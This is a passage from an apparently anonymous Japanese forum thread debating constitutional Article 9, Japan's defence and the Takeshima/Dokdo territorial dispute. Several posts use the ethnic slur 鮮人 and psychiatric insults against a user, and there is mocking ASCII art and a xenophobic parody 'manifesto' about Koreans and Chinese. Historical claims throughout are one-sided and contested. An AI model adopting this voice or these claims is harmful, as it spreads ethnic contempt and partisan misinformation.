包丁さばきさながらに切り開いてみせてくれる。
軍事と法律の両方を専攻した貴重な書き手である。新憲法制定にかかわった枢密院副議長の
子孫であるという血も、著者に憲法問題に関心を持たせることに関係があったのではないだろうか。

戦後の日本の平和が日米安保条約のおかげでなく、憲法九条のおかげだと言うのは
誰にも分かる嘘（うそ）である。こういう嘘に学問的装いを与えてきたのは
東大の憲法学教授たちである。この人たちは敗戦利得学者の利得を引き継ぎ、
現存する憲法の解釈、つまりこじつけを生計の道としてきたのだから仕方がないが、
司法試験や公務員試験にかかわる人たちだからその罪は深い。
その嘘を直視することのできる本書の出版を喜びたい。（ＰＨＰ研究所・１４７０円）

上智大学名誉教授　渡部昇一

>>409
> どこが矛盾してるのか、意味が分からん
お前は日本語に不自由な鮮人なんだから、しょうがないよ。

> なぜ連合国に竹島が日本から引き離された理由を考えなさい
ほ〜ら、また都合のいい所だけを見ている。それは占領する上での
都合だよ。日本人に海の上を広範囲にうろうろされたくなかった
だけ。だから、お前のような悪質なヤツが出てくることを見越して、
「(マッカーサーラインは)日本の領土を決定する上で、何ら影響し
ない」と但し書きを付けているんだよ。悪党エナリくん。

> 日本政府は「松島」開拓計画を進めていた-これは鬱陵島の事
馬鹿。それじゃ益々、お前の言う太政官の決定と矛盾するだろ。

> 松島と竹島がゴチャゴチャになってた時期なんだけど
もっと複雑に混乱しているんだよ。なのにお前は、島根県の認識
だけは正確だったと言うんだろ。差別主義者らしい偏向した考え方
だね。

> 島根県の調査のどこが正確でないのか、あなたの文章じゃ意味が
> 分からん
明確なのは。お前が自分に都合の悪いことは見ない聞かないキチガイ
野郎だってこと。

では、とりあえず次の質問に答えてもらおうか。

「次に一島あり 松島と呼ふ 周回三十町許 竹島と同一線路に在り
隠岐を距る八拾里許 樹竹稀なり 亦魚獣を産す 永禄中 伯耆國
會見郡 米子町商 大屋(大谷)甚吉 越後より歸り 颶風に遇ふて
此地に漂流す．．．」(島根県の添付資料)

1. 「隠岐を距る八拾里許(約320km)」
竹島までの距離は160km。320kmだと鬱陵島の周辺になってしまうが？

2. 「大屋甚吉・・・颶風に遇ふて 此地に漂流す」
この逸話の原典である大谷(大屋)家所蔵の「竹島渡海由来記抜書控」
には、元和三(1617)年に大屋甚吉が漂着したのは、鬱陵島であると
記されているが、これは矛盾ではないのか？

3. シーボルト・勝海舟・佐田白茅(外務官僚)など、当時の知識人たちは、
アルゴノート島(存在しない)・ダジュレー島(鬱陵島)・リャンコ島(竹島)が
並んでいると認識していたことが、各人の残した資料によって明らかだ
が、島根県も同じ間違いをしていないという根拠は？

4. 1880年の戦艦天城による実地調査で、鬱陵島と松島が同一の島であり、
松島(鬱陵島)・竹島(チュクト-鬱陵島から2kmの所にある島)・リャンコ島(
竹島)と確認され、それまでの混乱が収束した(「竹島考証」)わけだが、
1877年時点での「鬱陵島外一島」が、松島とチュクト、またはアルゴノートと
ダジュレーではないという根拠は？

5. 明治政府が鬱陵島と竹島を放棄したと仮定して、ではなぜ同時に松島
開拓を計画していたのか？

護憲派というのは要するに反日派でありその主張には全く同意できないが私は彼らに同情する。
人が反日派になるのは日本社会に適応できなかったからであろう。
日本以外の国を知らない田舎者が、日本社会に適応できなければ反日派になるのも無理は無い。

>>413
そんなにいやなら日本を出て行けば良いだけの話。
その自由は保障されている。
「日本以外の国を知らない」なんて、こっちの知ったことではない。

>>413は >>414　のような人が迷惑だといっているのだろう。

　おれも同意見だ。

しかしな、戦争をしない事は大事じゃないか。
国を守るには日本の自衛隊が日本を守備しやすい
環境、法律を作る事には賛成する。
しかし、外国に攻め入る事が出来るような
事になれば、先の戦で無くなられた先祖の方々に
申し訳が立たないじゃないか。外交で出来るだけ
平和を保って国力を強化、温存していけば良いじゃないか。

>>411
＞馬鹿。それじゃ益々、お前の言う太政官の決定と矛盾するだろ。

全く矛盾しない。
この時期に、松島と竹島の名前が入れ替わったんだよ。
そんな混乱期だからこそ、鬱陵島外一島という表現になったんだ。

鬱陵島ならともかく竹島みたいな小さな無人島を、どんな開拓計画
が出来るか考えてみなさい。

>>412
＞竹島までの距離は160km。320kmだと鬱陵島の周辺になってしまうが？

�@ここで使ってる里は、海里のことで1海里＝１．８５ｋｍ
　だから８０里＝１４８ｋｍまあ竹島まで、ピッタリ距離というべきだろう。

�A江戸時代には鬱陵島を竹島と呼んでました。

�B島根県も同じ間違いをしていないという根拠は、島根県は海外に文献を
　調査して国土地理院にしたわけでなく、島根県にある国内の古文書を調
　べ報告したもの。

　よって西洋の間違った島の緯度、経度やいい加減に西洋人に付けられた
　島名には無関係。

�C外一島が竹島であることは、島根県の報告で明か。
　西洋人の間違った観測結果をここに出しても、議論が混乱するだけだ。
　チュクトでないのは、日本人はチュクト経由で鬱陵島に航海した訳じゃない。
　
　江戸時代の日本人は、鬱陵島に竹島経由で航海してたから古文書にも記録があるの

�D鬱陵島開拓計画はウラジオストックの民間人が、材木などの開発を計画して出したもの
　西洋の間違った地図で、申請されて外務省も混乱し困ったようだぜ。

−−−−−（引用開始）−−−−−
開拓願いを受けた外務省は、松島なる島がはたしてどこにある島かをめぐって
混乱し、数年間かかってもなんら結論を出すことができませんでした。
http://www.han.org/a/half-moon/hm084.html#No.582

>>416
> しかしな、戦争をしない事は大事じゃないか。

せずに済めばな。

根本的に解ってないようだから言うけど、
ケンカは一人では出来ないし、二人以上いれば、片方の好むと好まざるとに関わらず
ケンカになる可能性はゼロではない。

いつも思うんだが
こんな小学生レベルの解りきった話を何百回も書かなきゃならんのは
どうにかならんのかね。

>>419
>二人以上いれば、片方の好むと好まざるとに関わらずケンカになる可能性はゼロではない。

あなたの方こそ根源的に判っていない。

可能性を小さくするのには、科学的に考えてどんな思考が良いのかが根源的問題。
ブッシュ大統領のイラク侵略にしても、アメリカの立場に日本がなったら、どんな
思考なら侵略しないで済むのか。

又逆にイラクの立場ならどんな方法を取ったら、アメリカの侵略を食い止めれるか
を思考するのが、脳内妄想に陥らないで根源的に考えれる方法なんだよ。

その点スイスはうまい事をやってきた「200年戦禍なしの実績」がある。
今の日本がアメリカの勢力下にあるように、スイスだってフランスの勢力下にあったんだよ

−−−−−（引用開始）−−−−−
1798年、フランス軍はスイスに侵攻し、エリート指導者層の権力を奪った。一時的
に地方主権の制度は破壊され、中央集権制のヘルヴェティア共和国が樹立した。

スイスは歴史上初めて中立を放棄し、フランス軍の傘下に入ることを強制された。
http://www.swissworld.org/jp/history/the_18th_century/

>>417
> 全く矛盾しない。この時期に松島と竹島の名前が入れ替わったんだよ

松島が鬱陵島だとして、放棄した島の開拓計画を進めることを朝鮮では
「矛盾」と言わないのかね？

<正しい答え>
鬱陵島を二つの島(アルゴノート・松島)と誤認した結果、両島は同等の
資源を有する島として認識されていた。日本が放棄したのはアルゴノート
であり、だから松島の開拓計画が進められた。

>>418
>1. ここで使ってる里は、海里のことで1海里＝１．８５ｋｍ

海里は「浬」と書くのが正解。「里」とは書かない。
島根県の資料は、正しい単位の使い方も出来ない、いい加減なものだった
のかな？
君の心酔する半月氏も 1里=4Km で計算しているよ。
ttp://www.han.org/a/half-moon/hm082.html#No.565

>2. 江戸時代には鬱陵島を竹島と呼んでました

外一島の解説に、鬱陵島の故事が引用されている矛盾を認めるんだな。
太政官は「竹島(鬱陵島)外一島(鬱陵島)」を放棄したということだね。
ttp://plaza.snu.ac.kr/~bigbear1/images/97.JPG

>3. よって西洋の間違った島の・・・には無関係

国を挙げて西洋文明の吸収に躍起となっていた時代に、この問題だけ影響
しないわけがない。
島根県は「竹島一件」の当事者でもなく、たいした資料も持っていなかっ
た。だから国内の文献を漁収して報告書を作成した。当時最先端であった
西洋の情報が反映しないはずはない。
シーボルトが残した「日本図」や勝海舟が描いた「大日本沿海略図」にも、
その間違いがしっかりと反映している。
ttp://edb.kulib.kyoto-u.ac.jp/exhibit/maps/map028/image/index.html

>4. 西洋人の間違った観測結果をここに出しても、議論が混乱するだけだ

都合の悪いことから目を背けるな。西洋人の間違いが日本を混乱させたの
だから、一番重要な要素である。
チュクトは鬱陵島から2Kmも離れている。その面積は一島で、(現)竹島全島
を足したよりも広い。草木も繁茂し漁場としても優れている。地理的認識
として、(現)竹島と同等か、それ以上の価値が置かれても不思議ではない。
アルゴノートは鬱陵島そのものなのだから、なおさら誤認された可能性が
高い。

>5. 鬱陵島開拓計画はウラジオストックの民間人が・・・出したもの

嘘つきエナリは鬱陵島と書き換えているが正しくは松島。松島開拓願いは
武藤平学・児玉貞易・斉藤七郎兵衛・下村輪八郎などから複数出され、受理
されている。そして混乱に拍車をかけたわけだよ。なぜ混乱したかは前述の
通り、鬱陵島をアルゴノートと松島の二島だとする意見が、政府内部にまで
浸透していた証拠である。


お前のは答えになってない。以前に何度も説明したことを、平気で知らぬ
ふりして、恥ずかしくないのか？ 都合のいい資料は正しい資料で、都合の
わるい資料は、間違った資料と言ってるだけだろ。お前の卑怯は鮮人の血筋
なんだろうけど、哀れだね。

>>420
脳内妄想とはお前のことだろ(笑)

スイスのように全国民を自衛軍とする武装中立主義は、
一考に価するが、スイス(銀行)の様な、隠し資金・マネー
ロンダリング大国にならなければ、国を維持できないなら、
とても誇りには思えないね。

>>422
＞島根県は「竹島一件」の当事者でもなく、たいした資料も持っていなかった。

バカかお前は！

当時の国土地理院は島根県がこの件に関しては、一番詳しい当事者と判断して
問い合わせたんだろうに。
あんたは当時の国土地理院よりも詳しいとでも言いたいのかい？

島根県の担当者も聞かれた事には、精一杯の調査をして国土地理院に答えてる。
あなたの貧弱な知識で、資料を持ってなかったと言っても記録に残せたくらいの
資料は持ってたんだぜ。

それに判りもしない不鮮明な地図を出しても、アンタの上げ底がミエミエ。
−−−−−（引用開始）−−−−−
ご管轄である隠岐（おき）国のかなたに、従来、竹島と呼ばれる孤島があ
ると聞いております。もとより旧鳥取藩の商船が往復した船路もあります。伺
い書のおもむきは、口頭で調査依頼およびご協議を致しました。
http://www.han.org/a/half-moon/hm082.html#No.564

>>423
＞チュクトは鬱陵島から2Kmも離れている

「２ｋｍも」なんていう言葉からあんた議論に負けてるよ。
海では２ｋｍなんて狭いもいいところだ。

東京湾の浦賀水道は、狭くて船乗りが用心する場所だという。
それでも１０ｋｍくらいはあるんだよ。

それを２ｋｍなんて、屁みたいな距離。
俺だってそのくらいなら、泳いでも渡れそうな距離だ。

−−−−−（引用開始）−−−−−
所要時間３５分、３隻が就航しています。運賃は４９０円です。(以外と安い！)
この付近、東京湾がもっともせばまるところで、対岸の久里浜まで泳いで行ける(?)程の距離です。
http://www.asahi-net.or.jp/~by3s-fet/tokyobay.htm

子連れのアメリカ人のおかあさんが熊に出会いました。
アメリカ人のおかあさんは子供を自分の後ろに隠し、両手を大きく広げて熊に
向かい合いました。
子連れの日本人のおかあさんが熊に出会いました。
日本人のお母さんは熊に背を向けて子供を抱いて「熊はいない。熊はいない」
と言い聞かせるように言いました、とさ。

>>425
> バカかお前は！

は〜い。バカが吠えましたー(笑)
「竹島一件」で一番詳しいのは対馬藩。その対馬藩は長崎県に編入され
ちゃったんだよー。島根藩は初期に係わっただけで、当時の公文書も
あまり持ってないのー。分かったかなー。坊や。

> 島根県の担当者も聞かれた事には、精一杯・・・

きっと社保庁の担当者も、精一杯仕事したんだろうねー。
精一杯やったら、何でも正しくなるのかなー？
どんなに矛盾した報告でも、精一杯やればいいのかなー？

> それに判りもしない不鮮明な地図を・・・

オレが示した地図は、拡大も回転もできるのにねー。
都合の悪いものは見てはいけないー。朝鮮流のやり方だねー。


>>426
> 「２ｋｍも」なんていう言葉からあんた議論に負けてるよ

議論？ オレの質問にまともに答えられないヤツが？
議論？ 都合が悪くなると中味のない逆切れしか出来ないヤツが？
議論？ 質問に答えてから言いなさい。ぼ・う・や(笑)

http://www.jfss.gr.jp/jp/zuisou_59j.html

日本の大学には、安全保障に関する講座がなく、また、偏った書籍は多数あるものの、教育という場にふさわしい最適な教科書･参考書が存在しないのが現実である。
<中略>
数年前から、ようやく文部科学省が重い腰を上げ、｢安全保障論｣、｢軍事学｣を大学の講座やコースに取り入れることを許可し、自衛隊OBの志方俊之帝京大学教授、森本敏拓殖大学教授らによって展開されているが、まだまだ十分とは言えない。


何？「安全保障」の授業って禁止だったのか？
すごい話だな。9条崇拝ならOKだったのか？

>>428
＞「竹島一件」で一番詳しいのは対馬藩。

タダ外交交渉を幕府に代わって、韓国と行なってただけの話。
鬱陵島に直接の利害関係があったのは、鳥取藩。島根藩じゃない。
それに公文書とやらを知ってるだけでは、値打ちがある訳じゃないよ。

島根県が国土地理院に出したような、鬱陵島や竹島の文章がなくては
屁みたいな公文書。

−−−−−（引用開始）−−−−−
江戸時代、鳥取藩の町人が竹島・松島に出漁していただけに、鳥取藩は竹
島・松島についての知識が豊富で、それなりの地図も残されました。現在、外
務省の「竹島問題」サイトは、＜我が国では古く「松島」の名によって今日の
竹島がよく知られていたことは多くの文献、地図等により明白＞と書いていま
すが、これはそのとおりです。
http://www.han.org/a/half-moon/hm092.html#No.667

>>428
＞オレが示した地図は、拡大も回転もできるのにねー。

そのくらいは俺だってやったよ。
デモまったく文字は見えないくらいのボンヤリ地図。
あなたに地図の文字が見えたとは思えんけどね。

>>430
> タダ外交交渉を幕府に代わって・・・
> 公文書とやらを知ってるだけでは・・・

バカすぎて言葉にもならんよ。対馬は有史以来、日朝交渉の立役者
なんだよ。
元寇では鮮人先鋒隊に襲われ、男達は虐殺され女達は連れ去られ、
大きな被害を受けているし、14Cには高麗から使者が来て、友好と
海賊取り締まりの協力を求められ、15Cに入ると、高麗大蔵經を
送られたり、慶弔に朝鮮王から使者が使わされるようになる。
秀吉の朝鮮征伐以来、交渉が途絶えていた朝鮮通信使を復活させた
のも、対馬藩の働きによる。
朝鮮にあった倭館は、実質的に対馬藩が運営していたものだし、
朝鮮との外交貿易のために、幕府から予算もあてがわれている。

対馬藩は朝鮮外交貿易の窓口であり、直接の交渉役(外交官)
だったんだよ。

>>431
> デモまったく文字は見えないくらいのボンヤリ地図

低脳。使い方が解らないなら、素直にそう言えばいいのに(笑)

先ず、この地図は日本列島が通常と逆さまになっている。
(+)を3回くらい押せ。すると右側にどの部分が拡大されてるか、
赤枠が出るから、それを目的の位置に移動(クリック)する。
それでも見えなければ、もう1回(+)を押せ。それでも見えない
なら、お前に日本語は無理だ。

で、島根県の資料は、矛盾がある信用度の低いものだと言う事は
認めるのか？ そうでないなら、話を逸らして誤魔化したりぜずに、
きっちり反論しろ。

>>433
＞対馬藩は朝鮮外交貿易の窓口であり、直接の交渉役(外交官) だったんだよ

だからなんだったと言うのだ？
歴史をチョッと読んだくらいで、他人に説教してエバッテルだけのバカタレ。
そのくらい俺だって知ってるよ、馬鹿！

>>433
＞島根県の資料は、矛盾がある信用度の低いものだと言う事

どこにどんな矛盾があるのか具体的に指摘も出来ないで、認めるかなんて
アンタには討論のイロハがわかってない。

見解が違って討論するという事は、無数の具体的事実を出して自分の見解を書き
相手の見解を求めなくてはいけない気が遠くなる作業。
自分の見解を書いただけで、相手が認めるなんてことはまず無い事なんだよ。

修行がタリン！

>>434
> エバッテルだけのバカタレ

ほ〜ら、得意の逆切れ罵倒が出たー(笑)
エナリがぐーの音も出ない証拠。

>>434
> どこにどんな矛盾があるのか具体的に指摘も出来ないで

出たー。キチガイの空っ惚け！
いつものパターン。つまり反論不能ということだな。

> アンタには討論のイロハがわかってない

都合が悪くなると、的外れの逆切れ説教。これもエナリの特徴。



余興はそのへんで仕舞いにして、はやく反論しろよ。

●消費税で国民の年金を賄い、また、世論の動向を見て、後の消費税ＵＰにより、
　今まで掛け金の存在すら知らなかったような在日の年金まで賄います。
●支持母体である公務員の人数,身分,待遇は、公職場新設その他で完璧に保護します。
　公務員の悪事の補填、無駄遣いにつきましては、税金ＵＰではなく、
　国債発行という国民の借金で賄います。
●風営法改正などを白紙に戻し、パチンコ業界の規制を緩和します。
　我が党の一部の議員はすでに行動を起こしています。
●外国人（特亜人）に地方参政権を与え、
　済し崩し的に国政にも参加できるようなフラグを確実に立てます。
●中国が欲している沖縄に中国人を３０００万人移住させ、一国二制度を実施します。
●将来、竹島は韓国のために放棄し、尖閣諸島は中国のために放棄します。
　対馬、沖縄の要求につきましては、特亜友好のために必要なら、その要求に応えたいと思います。
　そのため、今現在における厚かましい主張の数々は、これを黙認することを基本とします。

★「生活が大切です　特亜民主党マニフェスト」★　党首　小沢民（日本名：小沢自治労）

>>437
＞風営法改正などを白紙に戻し、パチンコ業界の規制を緩和します。

規制を緩和するなとは言わんけど、やってるのは安倍総理じゃないのかい？

−−−−−（引用開始）−−−−−
本誌の記事の中核をなしているのは、安倍が韓国系パチンコ業者から事務所の貸与
などの便宜供与を受けていたという疑惑。

ところが、安倍の訴状を読むと、この疑惑に関する言及は一行もなく、安倍側が名誉
棄損にあたるとして列挙しているのは、枝葉末節の表現や論評でしかない部分がほ
とんどなのである。
http://plaza.rakuten.co.jp/worlddreams2005/diary/200501270000/

●中華思想に陶酔し、経済、国防その他、中国の属国同然になり、
　建前上の''毒''食料自給率１００％を達成し、あらゆる内政干渉は、
　宗主国による行政指導として受け止めることとします。
●人権擁護法という名の特亜人特権法を作り、
　日本国民の心の叫びを特亜人の手により容易に弾圧できるようにします。
●北朝鮮崩壊の折り、難民は全員受け入れ、その費用は日本国民の血税により賄います。
●憲法改正、特に９条については法的欠陥を維持するため手をつけません。
●支持母体である日教組、自治労は徹底的に保護し、日本の教育、日本の行政を更に腐敗させます。
　公職における管理職に外国人（特亜人）が就任できるようにします。
●南京、慰安婦の件につきましては、たとえ信用性がない嘘であっても適当に謝罪し、
　未来永劫、集られるためのフラグ立てとします。
●日本の国家主権を放棄し、特亜共同体に必ず主権移譲します。
●あらゆる黒い利権及び特亜関係からの怪しい献金につきましては、
　国民の皆様のためという名目で大切に保護、使用します。
●その他の「絵に描いた餅マニフェスト」につきましては、
　いつ見ても大変美味であると自画自賛しております。
　自分の生活のために形だけは実行したいと思っております。

★「生活が大切です　特亜民主党マニフェスト」★　党首　小沢民（日本名：小沢自治労）

魔鍋けんじ　って、もう　
　
声高きところに理無し　
　
を痔でいってるな

護憲派諸君へ

９条を守るため断固とした無抵抗主義への決意と覚悟が必要です。
日本が滅びても９条を守り抜くこと。
平和のためには自らの命をも差し出す決意。
人間の命は地球より重いが９条よりは軽い。

９条って、無抵抗主義と何の関係もないよ…

９条って、奴隷主義だもんね w

20分で１人。このネタになると２ちゃんは実に食いつきが早いな

戦後の論壇でさえ非暴力不服従なんて少数派だったと言う話
もちろん法的な要請でもないし…

と言っても何のことか理解できないだろうなぁ

食いつきも何も、それがお題のスレだからね。
それに非暴力不服従なんて、理解以前の問題だよ。
そんな初歩的な次元で、胸なんか張っちゃって、
他人事ながら、ちょっと恥ずかしいよ。

現実逃避は分かっている。
しかし、現実に向き合うのが怖いんだ。
世の中を自分に都合よく解釈できればなんとかなるかも…。

ま、護憲派＝金正日万歳
な常識のやつらに政治任せたところで日本崩壊

何か新聞読んだら、ヒル電撃訪朝で産経が火病ってたんだな…
あそこのワシントン支局何やってんだろうか？
英語読めないんじゃないだろうな。

はっきり言ってアメリカ、拉致問題にもう何の興味もないし、
テロ支援国家指定解除にとっくに動いてたってのに

土井ドクトリン
http://www5.sdp.or.jp/central/timebeing/heiwakousou.html


このため社民党は、アジアに軸足を置いた集団安全保障の枠組みとして
「北東アジア総合安全保障機構」を構築し、北東アジアに非核地帯を設けるなどして、
地域全体で軍事依存を低めていく道筋を描いた『２１世紀の平和構想』（通称「土井ドクトリン」）
の提起を基本に位置づけている。このなかで、「平和基本法」を定め自衛隊を災害救援のため
の非武装の国際協力隊等に縮小・再編することや、「人間の安全保障」の理念の徹底、日米
安保を平和友好条約に転換すること、平和主義・第９条を世界に拡げるため「非核不戦国家
宣言」を国会で決議し国連総会で承認してもらうこと、など様々な提起を行なっている。


中国から核をなくせるのか？
「人間の安全保障」の理念の徹底をするなら、チベット問題もやるということだね。

絶対天皇制時代の天皇でも関東軍の暴走を抑えられなかったので憲法９条は必要だ。

>>449
＞「人間の安全保障」の理念の徹底をするなら、チベット問題もやるということだね。

チベット動乱の頃はともかく、今は安全になってるのじゃないかな。
日本人でさえ気軽に観光旅行に行けるようになってるんだから。
チベット独立となったら、共産党政府は手段を選ばない傾向があるけど・・・

−−−−−（引用開始）−−−−−
▼個人でチベットに行けるのか？
余裕で行けます。
許可証云々は、いまやカタチだけの話で、要するにお金を払えば行けます。
ただし、ネパールからは形式的にグループ・ツアーに入らないと行ける可
能性は低いようです。
http://www.tibet.to/travel/

>>441
＞９条を守るため断固とした無抵抗主義への決意と覚悟が必要です

無抵抗主義の方って、日本じゃ少ないのじゃないかね。
俺が尊敬してるマハトマガンジーでさえ、非暴力抵抗主義、不服従主義という
程度でかえって、抵抗に関しては積極推進派だ。

これには凄い勇気がいり俺はガンジーの、真似さえできんヘタレだがな。

−−−−−（引用開始）−−−−−
インドの独立に奔走し、人民の平等を説き、そして暴力に対し敢然と非暴力で立ち
向かった人のことを、誰も何も知らずに単純に｢偉い人｣と判断しているわけです。
http://www2.masashi.ne.jp/sin/gandhi.htm

>>451
お前って、とことん馬鹿なのなー。
大丈夫だと思うなら、立ち入り禁止区域に入ってみろよ。
チベット人とお友達になって、一緒に国内(中国)旅行でも
してみろよ。

これはお前が書いたんだろ。ぷっ
ttp://money6.2ch.net/test/read.cgi/seiji/1164029474/788

>>451
いくらなんでもそれはないだろう。
今は安全にいけるから問題がないっていうのは
日本が占領したからアジア諸国は独立できたんだって話と同じだろ？

>>452
ガンジーよりも何よりも先に、君は嘘つきを治しなさい。
少なくとも、標準的な「人間」になってから、夢を語ろうね w

>>453
＞大丈夫だと思うなら、立ち入り禁止区域に入ってみろよ。

お金があったら行って見たいけどね。
貧乏で外国にさえ行けん。

チベット人の友達もいないし、遠慮しとくよ。　　

>>456
ほ〜ら、やっぱり逃げ出した。

知識が無いにもかかわらず、偉ぶったゴタクをならべるが、
いつも瞬殺されて、こそこそ逃げ出す。エナリは所詮エナリ。

土井ドクトリンの
「平和主義・第９条を世界に拡げるため「非核不戦国家宣言」
を　国会　で決議し　国連総会　で承認してもらうこと」


完全にありえません。
国会決議はおろか、国連総会でもお友達の中国にまで拒否されるという罠。

土井氏は大丈夫か？？
国際感覚がないな。

護憲派諸君へ

９条を守るため断固とした無抵抗主義への決意と覚悟が必要です。
日本が滅びても９条を守り抜くこと。
平和のためには自らの命をも差し出す決意。
人間の命は地球より重いが９条よりは軽い。

>>459
＞９条を守るため断固とした無抵抗主義への決意と覚悟が必要です。

9条を守るためには、非暴力抵抗主義が必要。
特に政治権力者に対してはね。

外国からの侵略に対しては、暴力も非暴力も両方の抵抗がバランスよく必要。
インドでガンジーとボースがやったようにね。
俺はボースも英雄だったと思うよ、ガンジーだけでは失敗してたでしょう。

−−−−−（引用開始）−−−−−
イギリスによる報復は裏目に出た。インド国民会議派は裁判に弁護士団を送り
込み、労働組合はゼネストに入った。大英帝国の番犬と揶揄された英印軍までも
がイギリスに砲弾を向けた。この結果、裁判の進展とともにインド全土が騒乱状
態となり、イギリスがインド支配を諦める引き金になったというのが歴史の真相
である。
http://www.melma.com/backnumber_322_473569/

護憲派は平和主義者？

北朝鮮の脅威に対抗しようとしても、憲法九条が邪魔をしている。
それどころか、日本の防衛すらうまくいかなくなっている。
憲法は平和を守れず、有害な影響を与えている。
それが平和憲法の真実だ。

そもそも「平和憲法」って言うのは、反日工作員が勝手にそう呼んで
宣伝しているだけだから・・・　r( ＾−＾ )

韓国が対馬を奪うためには９条が絶対必要だ。

>>462
＞それどころか、日本の防衛すらうまくいかなくなっている。
＞憲法は平和を守れず、有害な影響を与えている。

世界5位の軍事費を使いながら、なんで日本の防衛が出来ないの？
意味がわからん。

いまの憲法は日本の若者：自衛隊員を守ってるよ。

ベトナム戦争で韓国軍はアメリカ軍の尖兵として使われて、5000名戦死してます。
イラクでも自衛隊員がタコツボ作戦という、危険になったら基地から出ないで隠れ
ジッとしてましたが、これも憲法9条で守られたから。

これがなかったら尖兵にされてたでしょう。
小泉総理や安倍総理じゃ、アメリカの言うままにしかならないよ。
アメリカの国務副長官アーミテージに脅されて、そのまま実行する不甲斐なさ。
それでも憲法9条が目障りで、アメリカにとって目の上のタンコブなの。

ーーーーー（引用開始）−−−−−
イラクへの自衛隊派遣問題で、アーミテージ米国務副長官が中東担当特使の有馬
龍夫政府代表に対し、日本政府はイラク復興支援から「逃げないでくれ」（ＤＯ
Ｎ’Ｔ　ＷＡＬＫ　ＡＷＡＹ）と早期の自衛隊派遣を極めて厳しい口調で要求し
ていたことが分かった。

　副長官は、復興支援は「お茶会への出席じゃない」とも指摘。日本の閣僚から
自衛隊派遣で慎重論が相次いでいることに「頼むから何も言うな」と強い不快感
を示した。

>>464
＞韓国が対馬を奪うためには９条が絶対必要だ。

そんな事をやったら、日本と韓国の間で戦争になるでしょう。
対馬は江戸時代でさえ、対馬藩として韓国と江戸幕府を代表して外交交渉をしてたところ。

竹島は江戸時代に鬱陵島の付属島として、韓国に渡した無人島。
鬱陵島は高級木材やアワビの産地で、日本から竹島経由で取りに行き韓国人と
モメゴトを起こして、対馬藩が解決したんだぜ。

対馬は昔っからの日本国土だから、憲法9条で自衛権を主張できる。
しかし竹島は日露戦争のドサクサに、軍事基地として日本領土にした無人島。
中身が違うよ。

　（:::::::::/　彡　　ノ　　　ノ　　::　彡:/))　::::::::::）　正義の天才ここにあり〜♪
.（::::::::::/彡彡彡彡彡　　　ミミミミミミミ :::::::::::）
（　::::::://￣￣￣￣ヽ===/￣￣￣￣ヽ |:::::::::）　ボクちゃんエナリです。
　| =ロ 　　-=・=- 　‖　‖　-=・=-　　 ロ===　ホントは鮮人なんだけど
　　|:/ ‖　　　　／　/ノ　 ヽ ＼　　　 　‖ ヽ|ヽ　日本の悪口をいうために 　
　|/　 ヽ｀======/　.⌒　｀ ========ノ. 　 ..| |　日本人のふりをしています。
　.（　。 ・：・‘。c　.（●　　●）　；”・u。*@・：、‘）　
.（ 。；・０”*・o； ／ :::::l l::: ::: ＼　：。・；％：・。o ）　嘘はすばらしいと思います。
　（； 8@ ・。：／／￣￣￣￣＼:＼.”・：。；・’０.）　とくにボクちゃんのつく嘘は、 　
.＼。・：％,: ）::::|.　￣￣￣￣ 　| ::::（:　o`*：ｃ ／　とってもエレガントでビユーチフル
　.＼ :::　o :::::::::＼＿＿＿＿／　　::::::::::　 　／　日本を陥れる嘘は、なんでも皆　
　　　(ヽ 　ヽ:::: _-　::::: ⌒::　::::::::　-_ 　　　ノ　正しいのです。ぼくちゃんエナリです。

>>465
> 世界5位の軍事費を使いながら、なんで日本の防衛が出来ないの？

ほ〜。5位に修正したか。お前にしては殊勝殊勝。褒めて遣わすぞ。
でも防衛能力をお金の問題に摩り替える嘘は、まだ直っていないみたいだな。

> ベトナム戦争で韓国軍はアメリカ軍の尖兵として使われ・・・

この嘘も相変わらずだ。物事には必ずメリットとデメリットがあるという
ことを忘れるな。都合の良い部分だけを都合よく解釈するのは、馬鹿者の
特徴だ。

> 小泉総理や安倍総理じゃ、アメリカの言うままにしか・・・

9条という奴隷条項があるからこそ、米国の言いなりにならざる得ないという、
一面から目を背けるな。


>>466
> 竹島は江戸時代に鬱陵島の付属島として、韓国に渡した無人島

何の根拠も無いエナリお得意の嘘。

> 竹島は日露戦争のドサクサに、軍事基地として日本領土にした・・・

これも、何の根拠も無いエナリお得意の嘘。竹島のような小島が軍事基地に
なんかなるわけない。日本海をうろつく外国船を警戒して、国際法に基づいて
領有権を明記しただけ。
竹島は日本固有の領土。朝鮮領だったことは歴史上一度もない。

＞9条という奴隷条項があるからこそ、米国の言いなりにならざる得ないという、
＞一面から目を背けるな。

全然違うw

・在日米軍に対するアジア諸国、アメリカ国民の認識は「日本の軍事大国化阻止の担保」
　これはキッシンジャーからスタックポールまでの「瓶の蓋」論の噴出を見ても明らか。
　アメリカ保守派も、日本が自主防衛的な方向に進むのならそんな改正は要らんと言うほど。

・沖縄の少女暴行事件での米政府首脳の慌てぶりを見ても分かる通り、
　９条とそれを支える世論こそがアメリカにとっては最大の懸念
　下手に軍事的要求を行えば反米世論に直結しかねない。

・９条があるからアメリカの要求を呑まざるを得ないと言う呪縛にかかっているのは日本。
　新ガイドラインでは日本防衛の一次的責任は自衛隊にあると明記されている。
　むしろ日本のほうが安保再定義で極東条項を空文化、アメリカの世界戦略を助けている。
　小川和久が言う通り、アメリカの同盟国で日本ほど貢献している国はないし、
　アメリカと対称的な同盟を結んでいる国家など世界に存在しない。
　１回、「超明快訳」を読んでご覧。

まあ、吉田茂が何と言ってダレスを怒らせたかもどうせ知らんのだろうな。
ニクソンが９条について、何と言って悔やんだのかも。

>>469-470
頭がふるすぎる。否、それよりも評論家の受け売りのような理屈を
並べているようじゃ、真実を見る目が無いと言っていいだろうね。
君のは常に米国に寄りかかった発想なんだよ。それこそが奴隷条項
の作り上げた成果だね。

> 瓶の蓋
そんなもの壊せ壊せっ！

> ９条とそれを支える世論こそがアメリカにとっては最大の懸念
米国の懸念よりも、日本の懸念を優先しろ。

> ９条があるから・・・呪縛にかかっているのは日本
9条のせいで、必要な立法や装備が出来ない。

> アメリカの同盟国で日本ほど貢献している国はない
貢献ではダメ。腕力では及ぶべくも無いが、精神的には対等であるべき。

> アメリカと対称的な同盟を結んでいる国家など世界に存在しない
対称的って何だ？ 対等の間違いか？ 総てにおいて対等にならなくては
モノが言えないなんて発想は幼稚だね。一芸に秀でればいいんだよ。
あとは政治外交手腕の問題だ。

お前馬鹿じゃん？
小川は「非対称的な同盟」と言う用法をはっきり使ってるよ、書店で読んでみ。
一芸に秀でればいいと言うんだったら、日本は立派に一芸に秀でている。
これだけの工業力・経済力がバックにある西太平洋の基地なんて、
